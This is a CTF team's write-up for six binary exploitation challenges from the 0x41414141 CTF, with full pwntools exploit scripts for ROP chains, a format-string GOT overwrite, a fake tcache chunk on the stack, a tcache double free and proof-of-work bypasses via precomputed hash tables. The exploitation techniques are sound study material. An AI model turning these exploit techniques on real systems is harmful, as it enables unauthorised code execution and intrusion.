[0x41414141 CTF] Only Pwnable Writeup
CTF Write-Up

[0x41414141 CTF] Only Pwnable Writeup

moving-signals

There's only __start function. It consists of simple assemblies.

Given that there are no NX bit, it seems to e a problem using shellcode(asm).

 

In addition, /bin/sh is at 0x41250.

I will use the following payload to leak the stack address. (ROP, RTL chain)

 

payload = 'A'*8 + p64(0x41018) + p64(0x1) + p64(0x41000) + p64(0x41018) + p64(0x0) + p64(0x41000)

 

It is a payload that sets rax to 1 and calls sys_write using syscall to leak on the stack and calls sys_read.

Leaking was successful, but the stack of local binary and the stack of remote binary would be different.

Therefore, it is possible to match the value of the stack by directly calculating the offset or bruteforce a certain range.

 

Now I will use the shellcode below to call the execve function.

shellcode:

pop rdi;

xor rsi, rsi;

xor rdx, rdx;

ret;

 

Now, if I only match the exact stack value, I will be able to get the shell!

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

for i in range(0x1, 0x500, 8):
    p = remote('161.97.176.150', 2525)

    shell = 'pop rdi; xor rsi,rsi; xor rdx,rdx; ret;'
    shellcode = asm(shell)

    payload = 'A'*0x8
    payload += p64(0x41018)
    payload += p64(0x1)
    payload += p64(0x41000)
    payload += p64(0x41018)
    
    payload += p64(0x0)
    payload += p64(0x41000)

    sleep(0.1)
    p.send(payload)

    p.recv(0x110)
    leak = u64(p.recv(6).ljust(8, '\x00'))

    log.info(hex(leak-0x2f1))
    p.recv(1000)

    payload = shellcode
    payload += p64(0x41018)
    payload += p64(0x3b)
    payload += p64(leak-i)
    payload += p64(0X41250)
    payload += p64(0x41015)

    p.sendline(payload)
    
    try:
        r = p.recv(4000, timeout=0.5)
        if r == '':
            p.interactive()
    except:
        log.success(hex(i))
        p.close()

 

external

let's see main function.

there is a function that clears all of got addresses. (but, actually, not all, there is still STDOUT in got.)

Since got disappeared, we can't leak got addresses and ROP attack.

but you should know the fact that we have plt addresses of all functions.

when we normally call the function, we call the plts.

And In the first time we calling those functions, there is 'plt+6' address in got.

'plt + 6' addresses write functions real address in got.

so, the key is call the 'plt + 6' address to use functions and write real address in got again.

from pwn import *

p = remote('161.97.176.150', 9999)
#p = remote('185.172.165.118', 9999)
#p = process("./external")
elf = ELF("./external")
#libc = ELF("./libc.so.6")
libc = ELF("./libc-2.28.so")

stdoutGot = p64(0x404060)
write = p64(elf.symbols['write_syscall'])
pr = p64(0x4012f3) # : pop rdi ; ret
rbp = p64(0x40116d) # : pop rbp ; ret
ppr = p64(0x4012f1) # : pop rsi ; pop r15 ; ret
eaxZero = p64(0x401269) # <+69>:    mov    eax,0x0
syscall = p64(0x401283) # <+7>:     syscall
putsGot = p64(elf.got['puts'])
printfGot = p64(elf.got['printf'])
readGot = p64(elf.got['read'])

putsPlt = p64(elf.plt['puts'] + 6)
printfPlt = p64(elf.plt['printf'] + 6)
readPlt = p64(elf.plt['read'] + 6)
memsetPlt = p64(0x401066)

bss = p64(0x404500)
rbp = p64(0x404500 - 0x8)
lr = p64(0x40126e)
csu1 = p64(0x4012ea)
csu2 = p64(0x4012d0)


#gdb.attach(p)
#raw_input()

p.recvuntil('> ')

pay = "A".encode() * 0x58
pay += pr
pay += p64(0)
pay += ppr
pay += bss
pay += p64(0)
pay += readPlt
pay += pr
pay += bss
pay += ppr
pay += p64(0)
pay += p64(0)
pay += memsetPlt
pay += pr
pay += p64(0x40201c)
pay += printfPlt
pay += pr
pay += printfGot
pay += putsPlt
pay += p64(elf.symbols['main'])
p.sendline(pay) # first_payload

printf = p.recvline()[-7:]
print(printf)
printf = printf[:6]
printf = printf.ljust(8,'\x00'.encode())
print(hex(u64(printf)))


libc_base = u64(printf) - libc.symbols['printf']
print(hex(libc_base))
system = p64(libc_base + libc.symbols['system'])
binsh = p64(libc_base + list(libc.search('/bin/sh'.encode()))[0])

pay = 'A'.encode() * 0x58
pay += pr
pay += binsh
pay += system
p.sendlineafter('> ', pay) # second_payload
p.interactive()

this is my payload. In the first payload, I called 'plt + 6' addresses of read, memset, printf, puts. so I can leak the real address of these functions. and also Having a real address in got, we can use 'main' functions again.

 

In sencond payload, I called system('/bin/sh'), using libc_base address and libc file.

 

From HLe4s, a team member in HBM,

자자 제가 영어를 못해서 번역기 돌리세요. (I can't speak English well so use a translator)

-- 이게 위의 페이로드가 말만 쉽지 local에선 잘 되는데 remote에서 오지게 안되서 삽질을 했습니다. 첫 번째 페이로드에서 함수들 호출할때, 순서를 바꾸니까 되더라고요 왜인지는 저도 잘 모르겠습니다. 아무튼 건투를 빕니다~

 

The Pwn Inn

There are Canary and Partial RELRO.

 

main
vuln

The main function calls the vuln function.

It seems that BOF does not occur in fgets function.

However, FSB(Format String Bug) occurs in printf function.

 

Originally, we tried to calculate the libc base by leaking on the stack address using FSB, and overwrite it with the oneshot gadget. So at first, payload was like this.

from pwn import *

context.log_level = 'debug'

p = remote('161.97.176.150', 2626)
e = ELF('./the_pwn_inn')
libc = ELF('./libc.so')

first = 0
mid = 0
main_offset = 0x401353
pop_rdi = 0x4013f3
pop_dum = 0x4013f2
payload = '%4947c%9$hnAAAAA%19$pAAA'
payload += p64(e.got['exit'])

p.sendlineafter('?', payload)
p.recvuntil('0x')
leak = p.recv(12)
base = int(leak, 16) - 0x1ec6a0
log.success("stdout => %s" % str(leak))
log.success("base => %s" % hex(base))
system = base + 0x55410
binsh = base + 0x1b75aa
oneshot = base + 0xe6e79

oneshot_first = (oneshot >> 32) & 0xffff
oneshot_mid = (oneshot >> 16) & 0xffff
oneshot_last = oneshot & 0xffff

if oneshot_mid > oneshot_last:
    mid = oneshot_mid - oneshot_last
else:
    mid = 0x10000 + oneshot_mid - oneshot_last

if oneshot_first > oneshot_mid:
    first = oneshot_first - oneshot_mid
else:
    first = 0x10000 + oneshot_first - oneshot_mid

log.info(hex(first))
log.info(hex(mid))
log.info(hex(oneshot_last))
log.info(hex(oneshot))

payload = '%' + str(oneshot_last) + 'c%11$hn'
payload += '%' + str(mid) + 'c%12$hn'
payload += '%' + str(first) + 'c%13$hn'
payload += 'A' * (40 - len(payload))
payload += p64(e.got['exit'])
payload += p64(e.got['exit']+2)
payload += p64(e.got['exit']+4)

p.recv(1000)
p.sendline(payload)
p.interactive()

However, it failed. Perhaps the conditions of the oneshot gadget were not right. 

Thus, we used the ROP technique to calculate the libc base and call the system function to obtain the shell using FSB, but the system function didn't work properly, so the shell was obtained using execve function.

Luckily, when debugged with gdb, the rdx register was set to zero, which allowed the execve function to be successfully executed. The final payload is as follows.

from pwn import *

context.log_level = 'debug'

p = remote('185.172.165.118', 2626)
e = ELF('./the_pwn_inn')

main_offset = 0x401353
pop_rdi = 0x4013f3
ppppr = 0x4013ec

payload = '%5100c%8$hnAAAAA'
payload += p64(e.got['exit'])
payload += p64(pop_rdi)
payload += p64(e.got['fgets'])
payload += p64(e.plt['puts'])
payload += p64(e.symbols['vuln'])

p.sendlineafter('?', payload)

p.recvuntil('\x41\x58\x40\x40')
leak = u64(p.recv(6).ljust(8, '\x00'))
base = leak - 0x857b0
system = base + 0x55410
binsh = base + 0x1b75aa
execve = base + 0xe62f0

log.info(hex(leak))
log.info(hex(base))
log.info(hex(binsh))
log.info(hex(system))

payload = '\x00'*0x18
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(0x4013f1)
payload += p64(0)
payload += p64(0)
payload += p64(execve)

sleep(0.2)
p.sendline(payload)

p.interactive()

 

Return Of THE ROPs

main.sh

Simply put, it is a shell script that runs PoW and ret-of-the-rops.

 

checksec binaries


PoW - main
PoW - checking
PoW - hashing
PoW - str2md5

In main function passes PoW according to the return value of the checking function.

We have to match the plane with only six digits after the value hashed to md5 with a lowercase four-digit string created in the hashing function.

 

We thought of the md5 rainbow table at first. However, the public rainbow tables were too large, so we programmed the C language to create an md5 rainbow table of four-digit lowercase strings.

The code is as follows.

#include <stdio.h>
#include <openssl/md5.h>

void genMD5Hash(long long string, int len) {
	unsigned char v8[24];
	char v6[50] = { 0, };
	FILE *fp;
	MD5_CTX v7;
	MD5_Init(&v7);
	while(len > 0) {
		if(len <= 512)
			MD5_Update(&v7, string, len);
		else
			MD5_Update(&v7, string, 512);
		len -= 512;
		string += 512;

	}

	MD5_Final(v8, &v7);
	for (int i=0; i<16; i++)
		snprintf(&(v6[2*i]), 0x20, "%02x", v8[i]);
	fp = fopen("./hash.txt", "a");
	fprintf(fp, "%s", v6, 33); 
	fclose(fp);
}


int main(int argc, char *argv[]) {
	char randarr[50] = {0, };
	
	FILE *fp;
	
 	for(int i=0; i<4; i++) {
		for(int q=97; q < 123; q++) {
			for(int w=97; w<123; w++) {
				for(int e=97; e<123; e++) {
					for(int r=97; r<123; r++) {
						randarr[0] = q;
						randarr[1] = w;
						randarr[2] = e;
						randarr[3] = r;
						genMD5Hash(randarr, 4);

						fp = fopen("./hash.txt", "a");
						fprintf(fp, " %s \n", randarr, 5); 
						fclose(fp);
					}
				}
			}
		}		
	}
}

This code allows users to obtain hash.txt consisting of the following formats: md5_hash plain

It is part of the hash.txt.

hash.txt

You can find it manually and pass through PoW, but since you're making payload, we decided to do it automatically.

It automated payload by using regular expressions such as: However I think it's complicated. 🤣 We can bypass the PoW!

cat ./hash.txt | awk -d '{print $1}' | grep -n "hash.." | awk -F: '{print $1}' | head -n 1
cat ./hash.txt | sed -n "hash"p | awk -d '{print $2}'

Now, let's talk about ret-of-the-rops.

 

ret-of-the-rops - main

What? This binary is an easy ROP problem. However, there's also a format string bug too.. but I don't think we need to use a format string bug.

 

Since the system function did not work properly in the problem The Pwn Inn, we will use the execve function again.

The payload is as follows.

from pwn import *
import os

context.log_level = 'debug'
p = remote('161.97.176.150', 2222)
e = ELF('./ret-of-the-rops')

pop_rdi = 0x401263
pop_rsi_r15 = 0x401261

p.recvuntil('= ')
md5 = p.recv(6)
num = os.popen("cat ./hash.txt | awk -d '{print $1}' | grep -n %s" % md5 + "$ | awk -F: '{print $1}' | head -n 1").read()
word = os.popen("cat ./hash.txt | sed -n %d" % int(num) + "p | awk -d '{print $2}'").read()

log.info(md5)
log.success(num)
log.success(word)

p.recv(10)
p.send(word)

payload = 'A' * 0x28
payload += p64(pop_rdi)
payload += p64(e.got['gets'])
payload += p64(e.plt['puts'])
payload += p64(e.symbols['main'])

p.sendlineafter('?', payload)
p.recvuntil('\x63\x12\x40')
leak = u64(p.recv(6).ljust(8, '\x00'))
base = leak - 0x86af0
system = base + 0x55410
binsh = base + 0x1b75aa
execve = base + 0xe62f0

log.success(hex(base))

payload = 'A' * 0x28
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(pop_rsi_r15)
payload += p64(0)
payload += p64(0)
payload += p64(execve)

p.sendlineafter('?', payload)

p.interactive()

Though looking at the flag, I guess it was originally a problem to solve using RTC. 🤣🤣🤣

It's probably because we need to set the rdx register :P

 

Faking till you're Making

PoW - checking

The ret-of-the-rops problem and the PoW were identical, so other functions were omitted.

In this problem, SHA256 is used to PoW.

Thus, it succeeded in bypassing the PoW by creating the SHA256 rainbow table with the following code.

#include <stdio.h>
#include <openssl/sha.h>

void genSHAHash(char *string, char *buf) {
	char v6[40];
	int v2 = 4;
	FILE *fp;

	SHA256_CTX v5;
	SHA256_Init(&v5);
	
	SHA256_Update(&v5, string, v2);
	SHA256_Final(v6, &v5);
	
	for(int i=0; i<32; i++)
		sprintf(&buf[i*2], "%02x", (unsigned char)v6[i]);
	buf[64] = 0;

	fp = fopen("./hash.txt", "a");
	fprintf(fp, "%s", buf, 65);
	fclose(fp);
}

int main() {
	char string[65];
	char randarr[5];
	FILE *fp;

	for(int i=0; i<4; i++) {
		for(int q=97; q<123; q++) {
			for(int w=97; w<123; w++) {
				for(int e=97; e<123; e++) {
					for(int r=97; r<123; r++) {
						randarr[0] = q;
						randarr[1] = w;
						randarr[2] = e;
						randarr[3] = r;

						genSHAHash(randarr, string);
						fp = fopen("./hash.txt", "a");
						fprintf(fp, " %s\n", randarr, 5);
						fclose(fp);
					}
				}
			}
		}
	}
}

Regular expressions are also the same as previous problems.

cat ./hash.txt | awk -d '{print $1}' | grep -n [sha]$ | awk -F: '{print $1}' | head -n 1
cat ./hash.txt | sed -n [num]p | awk -d '{print $2}'

Then let's analyze the vuln binary.

 

vuln - sh
vuln - main

Oh, in this case, we're given a function to call /bin/sh.

 

First of all, since this binary is using glibc 2.32 version, it will be related to tcache.

To analyze the code, print the address of sh function and call malloc(0x1). However, it can't get only 1 space allocated to the heap, so it will be allocated as much as 0x10, which is the minimum size, and call read(0, data, 0x50). There's no overflow here.

 

Then, it is important to note that the type of data array is __int64 to put the address of data[2] in a. That means it's 16 bytes away from the starting address. And then.. call free function! However, that address is the address of the stack, so of course, an invalid pointer error will occur as shown in the image below.

You have to go through this code to run fgets function below. What should we do to do that?

You make a fake chunk on the stack and you free it! Like this!

Then the next malloc function will use the stack's address again, so you can use the overflow from the stack and run the sh function! This is the payload I used.

from pwn import *
import os

context.log_level = 'debug'
p = remote('161.97.176.150', 2929)
e = ELF('./vuln')

p.recvuntil('= ')
sha = p.recv(6)
num = os.popen("cat ./hash.txt | awk -d '{print $1}' | grep -n %s" % sha + "$ | awk -F: '{print $1}' | head -n 1").read()
word = os.popen("cat ./hash.txt | sed -n %d" % int(num) + "p | awk -d '{print $2}'").read()

log.info(sha)
log.success(num)
log.success(word)

p.recv(10)
p.send(word)

p.recvuntil('0x')

sh = int(p.recv(12), 16)
pop_rdi = pie_base + 0x12b3

log.info(hex(sh))

payload = p64(0) + p64(0x41) + p64(0) + p64(0) + p64(0) + p64(0x20d51)
p.sendline(payload)

payload = 'A'*0x58
payload += p64(sh)

p.sendline(payload)

p.interactive()

 

babyheap

All memory protections are applied.

The glibc version is 2.27, so this problem is related to tcache.

This problem is an easy tcache duplication problem, so there will be no explanation.

 

Just simply generate tcache double free bug and call the system("/bin/sh"). For your information, the oneshot gadget doesn't work.

from pwn import *

context.log_level = 'debug'
p = remote('161.97.176.150', 5555)
e = ELF('./babyheap')
libc = ELF('./libc-2.27.so')

def malloc(size, idx, content):
    p.sendlineafter('Exit\n', '1')
    p.sendlineafter('malloc?', str(size))
    p.sendlineafter('malloc?', str(idx))
    p.sendafter('enter?', content)

def free(idx):
    p.sendlineafter('Exit\n', '3')
    p.sendlineafter('free?', str(idx))

def show(idx):
    p.sendlineafter('Exit\n', '2')
    p.sendlineafter('view?', str(idx))
    
malloc(1500, 0, 'AAAA')
malloc(0x68, 1, 'BBBB')
malloc(0x68, 2, 'CCCC')

free(0)

show(0)
p.recvuntil(':\n')

main_arena = u64(p.recv(6).ljust(8, '\x00')) - 88
malloc_hook = main_arena - 0x18
base = malloc_hook - libc.symbols['__malloc_hook']
system = base + libc.symbols['system']
free_hook = base + libc.symbols['__free_hook']

log.info(hex(main_arena))
log.info(hex(malloc_hook))
log.info(hex(base))

free(2)
free(2)

malloc(0x68, 3,  p64(free_hook))
malloc(0x68, 4, '/bin/sh\x00')
malloc(0x68, 5, p64(system))

free(4)
p.interactive()